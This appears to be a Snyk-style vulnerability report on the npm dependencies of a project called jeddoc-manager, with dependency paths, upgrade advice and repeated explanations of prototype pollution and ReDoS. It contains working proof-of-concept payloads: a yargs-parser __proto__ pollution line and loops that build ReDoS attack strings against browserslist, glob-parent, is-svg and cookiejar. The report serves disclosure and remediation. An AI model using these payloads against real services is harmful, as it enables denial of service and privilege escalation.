Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mpath to version 0.8.4 or higher.
References
medium severity
- Vulnerable module: yargs-parser
- Introduced through: nyc@11.9.0 and webpack@2.7.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › yargs@11.1.0 › yargs-parser@9.0.2Remediation: Upgrade to nyc@14.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nyc@11.9.0 › yargs-parser@8.1.0Remediation: Upgrade to nyc@14.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › yargs@6.6.0 › yargs-parser@4.2.1Remediation: Upgrade to webpack@4.0.0.
Overview
yargs-parser is a mighty option parser used by yargs.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.
Our research team checked several attack vectors to verify this vulnerability:
- It could be used for privilege escalation.
- The library could be used to parse user input received from different sources:
- terminal emulators
- system calls from other code bases
- CLI RPC servers
PoC by Snyk
const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.
References
medium severity
- Vulnerable module: got
- Introduced through: nodemon@1.19.4
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › update-notifier@2.5.0 › latest-version@3.1.0 › package-json@4.0.1 › got@6.7.1Remediation: Upgrade to nodemon@2.0.17.
Overview
Affected versions of this package are vulnerable to Open Redirect due to missing verification of requested URLs. It allowed a victim to be redirected to a UNIX socket.
Remediation
Upgrade got to version 11.8.5, 12.1.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.18.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Denial of Service (DoS) due to content continuing to be accepted from requests after maxContentLength is exceeded.
PoC
require('axios').get(
'https://upload.wikimedia.org/wikipedia/commons/f/fe/A_Different_Slant_on_Carina.jpg',
{ maxContentLength: 2000 }
)
.then(d => console.log('done'))
.catch(e => console.log(e.toString()))
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade axios to version 0.18.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@0.16.2
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › axios@0.16.2Remediation: Upgrade to axios@0.31.1.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: browserslist
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › browserslist@1.7.7Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › browserslist@1.7.7Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › caniuse-api@1.6.1 › browserslist@1.7.7Remediation: Upgrade to css-loader@1.0.0.
Overview
browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.
PoC by Yeting Li
var browserslist = require("browserslist")
function build_attack(n) {
var ret = "> "
for (var i = 0; i < n; i++) {
ret += "1"
}
return ret + "!";
}
// browserslist('> 1%')
//browserslist(build_attack(500000))
for(var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
try{
browserslist(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
catch(e){
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
}
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade browserslist to version 4.16.5 or higher.
References
medium severity
- Vulnerable module: color-string
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › colormin@1.1.2 › color@0.11.4 › color-string@0.3.0
Overview
color-string is a Parser and generator for CSS color strings
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the hwb regular expression in the cs.get.hwb function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade color-string to version 1.5.5 or higher.
References
medium severity
- Vulnerable module: cookiejar
- Introduced through: chai-http@3.0.0
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › chai-http@3.0.0 › cookiejar@2.0.6Remediation: Upgrade to chai-http@4.0.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.
PoC
const { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}`);
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade cookiejar to version 2.1.4 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: nightwatch@0.9.21
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nightwatch@0.9.21 › ejs@2.5.7Remediation: Upgrade to nightwatch@1.6.0.
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.
Note:
Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.
Remediation
Upgrade ejs to version 3.1.10 or higher.
References
medium severity
- Vulnerable module: glob-parent
- Introduced through: eslint-watch@3.1.5, nodemon@1.19.4 and others
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › eslint-watch@3.1.5 › chokidar@2.1.8 › glob-parent@3.1.0Remediation: Upgrade to eslint-watch@6.0.1.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › nodemon@1.19.4 › chokidar@2.1.8 › glob-parent@3.1.0Remediation: Upgrade to nodemon@2.0.0.
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › webpack@2.7.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › glob-parent@3.1.0
Overview
glob-parent is a package that helps extracting the non-magic parent path from a glob string.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.
PoC by Yeting Li
var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}
return ret;
}
globParent(build_attack(5000));
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade glob-parent to version 5.1.2 or higher.
References
medium severity
- Vulnerable module: is-svg
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0Remediation: Upgrade to css-loader@1.0.0.
Overview
is-svg is a Check if a string or buffer is SVG
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input for a very long time.
You are only affected if you use this package on a server that accepts SVG as user-input.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade is-svg to version 4.2.2 or higher.
References
medium severity
- Vulnerable module: is-svg
- Introduced through: css-loader@0.28.11
Detailed paths
-
Introduced through: jeddoc-manager@andela-jomadoye/jeddoc-manager › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › is-svg@2.1.0Remediation: Upgrade to css-loader@1.0.0.
Overview
is-svg is a Check if a string or buffer is SVG
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the removeDtdMarkupDeclarations and entityRegex regular expressions, bypassing the fix for CVE-2021-28092.
PoC by Yeting Li
//1) 1st ReDoS caused by the two sub-regexes [A-Z]+ and [^>]* in `removeDtdMarkupDeclarations`.
const isSvg = require('is-svg');
function build_attack1(n) {
var ret = '<!'
for (var i = 0; i < n; i++) {
ret += 'DOCTYPE'
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack1(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//2) 2nd ReDoS caused by ? the first sub-regex \s* in `entityRegex`.
function build_attack2(n) {
var ret = ''
for (var i = 0; i < n; i++) {
ret += ' '
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack2(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//3rd ReDoS caused by the sub-regex \s+\S*\s* in `entityRegex`.
function build_attack3(n) {
var ret = '<!Entity'
for (var i = 0; i < n; i++) {
ret += ' '
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack3(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
//4th ReDoS caused by the sub-regex \S*\s*(?:"|')[^"]+ in `entityRegex`.
function build_attack4(n) {
var ret = '<!Entity '
for (var i = 0; i < n; i++) {
ret += '\''
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack4(i);
isSvg(attack_str);
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
